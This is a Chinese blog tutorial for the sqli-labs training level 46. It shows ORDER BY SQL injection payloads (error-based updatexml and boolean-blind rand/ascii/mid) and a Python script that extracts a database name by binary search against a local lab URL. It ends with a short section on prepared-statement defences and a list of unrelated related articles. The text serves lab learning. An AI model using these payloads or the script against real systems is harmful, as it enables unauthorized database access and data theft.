sql-labs第46关(order by盲注脚本)

一、环境

网上有自己找

二、解释

order by 注入我们看他的true和false来进行注入出来

二、实操

让我们用sort

看看源码

最终我们的id是放到order by后面了

如果我们直接用列去排序

?sort=username/password

 username:

password:

 可以看到顺序是不同的,当然第一列第二列第三列也可以,基本上都是这个原理,那怎么去实现注入呢,我们主要是通过rand()去实现一个盲注或者报错注入(如果打印报错)

报错注入;真的走第一个错的走第二个我们想走第二个,这样就可以实现

?sort=updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)

那如果是盲注的话,写true和false排序是不同的,所有我们可不可以用rand去进行排序

?sort=rand(ascii(mid((select%20database()),1,1))>114)

 很明显ok的,转为ascii码来比较真假,为真为假是两种表现方式如下,假如说上面的报错被屏蔽了,我们就没办法了,那我们通过rand也可以,那为真为假是我们爬取的一个重要标识

我们通过找第一个字段,来爬取判断,为真的话是admin3,因为布尔true=3

 python脚本

# -*- coding:utf-8 -*-
"""
@Author: lingchenwudiandexing
@contact: 3131579667@qq.com
@Time: 2024/2/25 16:31
@version: 1.0
"""
import requests
import time
from bs4 import BeautifulSoup"""
查表名
查列名
查具体字段内容
if(ascii(substr(database(),1,1))>100,%20sleep(3),%200)--+
if(ascii(substr(database(),1,1))>110, sleep(3), 0)
"""
def inject_database(url):name = ''for i in range(1, 100):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)res = {"sort": payload}r = requests.post(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getUsername = soup.find_all('td')[1].textif getUsername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli/Less-46/index.php'inject_database(url)

正确后我们通过查表查库查字段出结果:

三、如何防御

防御机制:

PDO预编译:

模拟编译:

PHP的底层把单引号自动转译,但是遇见宽字节会失效,但是遇见真实的预编译这里就不会失效,

真实编译:

如果在预编译的形势下,还是用拼接传递参数,那么预编译不会生效,order by后面本身会存在注入点,但是预编译情况下,没有办法在order by后面实现预编译,如果想功能正常,还是得用拼接的方法去使用,这种情况下也有可能实现sql注入

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2808382.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

谈谈Redis的哈希槽和一致性哈希

一 . 前言 在 Redis 集群里面主要涉及到两种 Hash 算法 : 一种是一致性哈希 , 这种算法在 适用dis Cluster方案中并没有实现,主要在外部的代理模式 (Twemproxy)一种是 Slot 哈希槽算法 ,这种算法就是 Cluster 的核心算法所以谈到这个问题的时候,不能只讲一部分。在 Red…

simpleini开源库使用

源码下载&#xff1a;GitHub - brofield/simpleini: Cross-platform C library providing a simple API to read and write INI-style configuration files 1.加载simpleini库 下载后解压 2.simpleini库的简单使用 &#xff08;1&#xff09;加载ini文件 // 定义ini文档对象…

第10届蓝桥杯Scratch图形化编程 选拔赛初级组编程题1:小猫走城堡

准备工作: 导入育最库中的“Castle 3 小猫从坐标点(-165&#xff0c;-93)出发向城堡走去。随着位置的移动&#xff0c;角色大小逐渐变小&#xff0c;最后在城堡前消失。注意1.角色大小在逐渐变化&#xff0c;运行结束再次点击绿旗&#xff0c;程序应还能再次扶行。2.角色应该是…

大数据信用查询一般能查到什么?这几点要清楚

大数据信用查询一般能查到什么?当我们谈论大数据信用查询时&#xff0c;我们不只是查看一些干瘪的数据&#xff0c;而是深入探索了一个人的大数据信用特征。这些查询结果为我们提供了一个全面的、多维度的个人信用画像&#xff0c;本文带大家详细了解一下&#xff0c;一起去看…

STM32F103学习笔记(六) RTC实时时钟(原理篇)

目录 1. RTC简介 2. STM32F103的RTC模块概述 2.1 RTC模块的基本原理 2.2 RTC的工作原理 2.3 备份寄存器的功能和特点 2.4 RTC的工作流程 3. RTC的常见应用场景 4. 常见问题与解决方案 1. RTC简介 实时时钟&#xff08;RTC&#xff09;是嵌入式系统中的一种重要组件&…

ThreadLocal“你”真的了解吗?(二)

《ThreadLocal“你”真的了解吗&#xff1f;&#xff08;一&#xff09;》这篇文章梳理了ThreadLocal的基础知识&#xff0c;同时还梳理了java中线程的创建方法以及这两者之间的关系&#xff0c;本篇文章我们将继续梳理与ThreadLocal相关&#xff0c;在上一节也提过的另一组件T…

函数——递归6(c++)

角谷猜想 题目描述 日本一位中学生发现一个奇妙的 定理&#xff0c;请角谷教授证明&#xff0c;而教授 无能为力&#xff0c;于是产生了角谷猜想。 猜想的内容&#xff1a;任给一个自然数&#xff0c; 若为偶数则除以2&#xff0c;若为奇数则乘 3加1&#xff0c;得到一个新的…

深入理解JS的执行上下文、词法作用域和闭包(下)

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

mvn版本导致的Failed to execute goal on project问题与解决

目录 一&#xff0c;报错情况与原因二&#xff0c;maven的下载与安装1&#xff0c;卸载maven2&#xff0c;安装mvn3&#xff0c;指定mvn的默认版本&#xff1a; 一&#xff0c;报错情况与原因 使用命令mvn package时会报如下错误&#xff1a; Failed to execute goal on proj…

prometheus+grafana监控nginx的简单实现

1.编译安装NGINX 加入编译安装nginx-module-vts模块,目的是为了获取更多的监控数据(虚拟主机&#xff0c;upstream等) nginx下载 http://nginx.org/download/nginx-1.20.2.tar.gz nginx-module-vts下载 https://github.com/vozlt/nginx-module-vts/archive/refs/tags/v0.2…

9.5K Star,又一款超棒开源轻量自动化运维平台

Hi&#xff0c;骚年&#xff0c;我是大 G&#xff0c;公众号「GitHub指北」会推荐 GitHub 上有趣有用的项目&#xff0c;一分钟 get 一个优秀的开源项目&#xff0c;挖掘开源的价值&#xff0c;欢迎关注。 一个好的运维平台就变得非常重要了&#xff0c;可以节省大量的人力和物…

冯诺依曼体系结构 与 操作系统

一、冯诺依曼体系结构 深入理解冯诺依曼体系结构 计算机的出现就是为了解决实际问题, 所以把问题交给计算机&#xff0c;计算机经过处理&#xff0c;得到一个结果反馈给我们&#xff0c;所以这中间就必然涉及到了输入设备&#xff0c;中央处理器(包括运算器和控制器)和输出设备…

【读后感】《枪炮、病菌与钢铁》人类社会的命运

初看这个书名其实感到困惑&#xff0c;风马牛不相及的三个名词怎么就凑到一起了&#xff0c;这书是讲什么的。 先说结论&#xff0c;讲的是人类历史&#xff0c;具体是1.3万年前开始至今的历史以及现代世界格局的形成&#xff0c;1.3万年前从这个时间节点以后&#xff0c;不论…

勇宝趣学JavaScript ES6第二章(解构赋值)

在ES6中&#xff0c;我们经常使用到解构赋值这个知识点&#xff0c;今天我们就来好好讲讲这一小部分知识点。咱们争取这回一次性讲明白。 今天是元宵节&#xff0c;祝大家节日快乐&#xff0c;只有我自己还在无聊的码字。 给我点个赞吧&#xff0c;嘿嘿&#xff01;&#xff01…

MySQL数据库进阶第四篇(视图/存储过程/触发器)

文章目录 一、视图简单介绍与基础语法二、视图的检查选项三、视图的更新四、视图的作用五、存储过程的概念与特点六、存储过程的 创建&#xff0c;调用&#xff0c;查看&#xff0c;删除七、存储过程 — 系统变量八、存储过程 — 用户定义变量九、存储过程 — 局部变量十、存储…

acwing算法学习笔记 ------ 双链表

1、定义 这里可以做一个投机取巧&#xff0c;我们不再像单链表去用head去存头和尾&#xff0c;直接让r[0] 1,l[1] 0; idx 2.进行初始化&#xff0c; 解释一下l[N] 和 r[N] l[N]:是表示指向左面下一个节点下标&#xff0c; r[N]:表示指向下一个节点的下标。大家不用担心i…

[VNCTF2024]-PWN:shellcode_master解析(orw,用mmap代替read读文件)

查看保护 查看ida 在sandbox函数中&#xff0c;函数先使用了seccomp_init初始化&#xff0c;允许了所有系统调用&#xff0c;再用seccomp_rule_add来禁用掉了部分系统调用&#xff0c;其中包括execve和read seccomp_init函数可以进行系统调用全禁用和全允许初始化 seccomp_ru…

《高质量的C/C++编程规范》学习

目录 一、编程规范基础知识 1、头文件 2、程序的板式风格 3、命名规则 二、表达式和基本语句 1、运算符的优先级 2、复合表达式 3、if语句 4、循环语句的效率 5、for循环语句 6、switch语句 三、常量 1、#define和const比较 2、常量定义规则 四、函数设计 1、参…

python_pyecharts绘制漏斗图

python-pyecharts绘制漏斗图 from pyecharts.charts import Funnel from pyecharts import options as opts# 数据 data [("访问", 100), ("咨询", 80), ("订单", 60), ("点击", 40), ("展现", 20)]# 创建漏斗图 funnel …

uvloop,一个强大的 Python 异步IO编程库!

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站零基础入门的AI学习网站~。 目录 ​编辑 前言 什么是uvloop库&#xff1f; 安装uvloop库 使用uvloop库 uvloop库的功能特性 1. 更…